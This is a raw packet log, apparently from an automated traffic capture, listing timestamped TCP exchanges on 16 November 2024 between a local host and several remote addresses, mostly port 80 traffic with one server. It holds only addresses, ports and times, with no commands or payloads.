Nov 16, 2024 23:36:39.699790001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699804068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699824095 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699843884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699847937 CET	443	49912	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.699896097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699898005 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699904919 CET	443	49912	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.699929953 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699965000 CET	49912	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.699975014 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700012922 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.700021029 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700032949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700059891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700074911 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.700095892 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.700438023 CET	49912	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.700438976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700448990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700454950 CET	443	49912	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.700459003 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700467110 CET	49912	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.700474024 CET	443	49912	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.700476885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700484037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.700489998 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700509071 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700526953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.700545073 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.700567007 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.703094959 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.703129053 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.703213930 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.703325987 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.703342915 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.703421116 CET	49919	443	192.168.2.5	23.198.7.169
Nov 16, 2024 23:36:39.703433037 CET	443	49919	23.198.7.169	192.168.2.5
Nov 16, 2024 23:36:39.713615894 CET	443	49911	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.713752985 CET	443	49911	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.713850021 CET	49911	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.713850021 CET	49911	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.713879108 CET	49911	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.713898897 CET	443	49911	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.716186047 CET	49923	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.716214895 CET	443	49923	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.716304064 CET	49923	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.716443062 CET	49923	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.716455936 CET	443	49923	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.742861986 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.743006945 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.743103981 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.743279934 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.743288994 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.745476007 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.745495081 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.745826006 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.745976925 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.745985985 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.750217915 CET	49919	443	192.168.2.5	23.198.7.169
Nov 16, 2024 23:36:39.750240088 CET	49916	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:39.750256062 CET	443	49916	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:39.750266075 CET	49915	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:39.750329018 CET	443	49915	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:39.796360970 CET	49916	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:39.796405077 CET	49915	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:39.810775995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.810834885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.810861111 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.810889006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.810920954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.810920954 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.810949087 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.810957909 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.810991049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.810998917 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811032057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811055899 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811067104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811075926 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811096907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811127901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811134100 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811134100 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811162949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811194897 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811206102 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811229944 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811240911 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811270952 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811374903 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811403990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811456919 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811463118 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811491013 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811518908 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811526060 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811533928 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811579943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811585903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811633110 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811677933 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811711073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811744928 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811781883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811789036 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811830044 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811835051 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811887026 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811918974 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811932087 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.811955929 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.811988115 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812000036 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812025070 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812041998 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812069893 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812108040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812124968 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812158108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812187910 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812201977 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812237978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812272072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812273979 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812299967 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812306881 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812314987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812340021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812369108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812369108 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812402010 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812429905 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812443972 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812453985 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812503099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812510014 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812556028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812583923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812602043 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812623978 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812637091 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812688112 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812689066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812721014 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812746048 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812757015 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812782049 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812807083 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812819958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812865019 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812875032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812910080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812953949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812954903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.812962055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.812994957 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813024044 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813030005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813041925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813060045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813074112 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813096046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813097954 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813139915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813148022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813190937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813199043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813239098 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813250065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813282967 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813292027 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813328981 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813340902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813369036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813404083 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813420057 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813420057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813471079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813482046 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813499928 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813549042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813554049 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813597918 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813601017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813637018 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813672066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813672066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813689947 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813707113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813714981 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813759089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813807964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813810110 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813843966 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813858986 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813877106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813903093 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813911915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813922882 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.813944101 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.813997030 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814006090 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814029932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814064026 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814065933 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814093113 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814093113 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814094067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814116955 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814131975 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814146042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814196110 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814201117 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814279079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814316034 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814316034 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814332008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814378977 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814385891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814420938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814452887 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814455032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814471960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814487934 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814497948 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814522028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814537048 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814551115 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814567089 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814584017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814608097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814620018 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814623117 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814661026 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814671040 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814703941 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814713001 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814744949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814789057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814822912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814846039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814851999 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814886093 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814912081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814918041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814925909 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814950943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814958096 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.814994097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.814995050 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815028906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815036058 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815063953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815077066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815099001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815103054 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815130949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815156937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815165043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815171957 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815192938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815206051 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815232038 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815232038 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815267086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815299988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815308094 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815351009 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815361023 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815401077 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815402031 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815435886 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815444946 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815469980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815474987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815505028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815516949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815537930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815548897 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815572977 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815593004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815623999 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815623999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815658092 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815664053 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815712929 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815746069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815751076 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815773964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815773010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815773010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815812111 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815834045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815882921 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815913916 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815939903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815946102 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.815959930 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815979958 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.815980911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816016912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816024065 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816050053 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816057920 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816082954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816093922 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816118956 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816133976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816163063 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816174030 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816210985 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816212893 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816266060 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816306114 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816307068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816315889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816349983 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816365957 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816378117 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816431046 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816433907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816485882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816531897 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816534042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816569090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816574097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816596985 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816606045 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816629887 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816663980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816668987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816668987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816700935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816732883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816781998 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816781998 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816814899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.816843987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.816848993 CET	80	49824	185.215.113.206	192.168.2.5
